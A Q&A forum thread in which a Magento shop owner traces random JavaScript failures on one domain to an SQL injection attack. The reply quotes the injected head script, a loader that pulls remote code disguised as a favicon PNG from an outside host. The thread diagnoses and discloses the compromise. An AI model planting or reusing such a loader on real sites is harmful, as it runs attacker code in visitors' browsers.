We have a Magento install running on www.wondercide.com and it experiences random JS issues on the pages. Sometimes it works perfectly sometimes it's a mess. The minicart won't work, can't add to cart, etc. Console errors are different every time. Seems to suggest that the JS is loading out of order.

But here is the big kicker. We are running multi-site, and the other site is using the same template, and it doesn't have the issue. We disabled all modules and still the issue persists. We reinstalled the whole system identically on www3.wondercide.com and it works perfectly over there. It literally only affects the website if it's running on www.wondercide.com. It makes no sense and it's been driving us bonkers for 4 days. Any help or advice would be appreciated.

  • It is totally your server response time issue on www.wondercide.com . – Amit Bera Aug 27 '18 at 15:09
  • Also using jquery.js and jquery-ui.js.Use min version of those files, – Amit Bera Aug 27 '18 at 15:14
  • It can't be the server response time, it only affects the domain www.wondercide.com If I load the same exact site on www3.wondercide.com on the same server it works fine. I even built a new server with a new company and if we access it as www.wondercide.com it has the same issue. We had it running very fast. JS minified, Varnish, Redis, Memcache. All that is turned off now because we can't find the problem. We even have all modules turned off and using default theme on a test site, still occurs only for that domain? I'm lost. – Jason Diehl Aug 27 '18 at 17:41

We finally found the problem. We suffered an SQL injection attack. The code was injected into the database for the HTML Head section to be added on every page. The code was as follows:

<script type=\"text/javascript\">var po = document.createElement(\'script\'); 
po.type = \'text/javascript\'; po.async = true;\r\n
po.src = \'//bootstraproxy.com/pub/media/favicon/stores/2/favicon-32x32.png\'; 
var s = document.getElementsByTagName(\'script\')[0]; 
s.parentNode.insertBefore(po, s);</script>

The code added this "png" as a script and if you viewed the file it was actually a JQuery Masking script that would cause havoc with all the functions in the JS. It only worked when referred from our primary domain. If you accessed the file from another domain or directly, it would be 403 error. Once we removed this our site had no more issues.

We believe this hack came in before we upgraded to 2.2.5.

| improve this answer | |
  • I have facing same issue but i have not found such script in my project. Can u let me know what could be other reason for this issues? – Parthavi Aug 23 '19 at 4:55

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.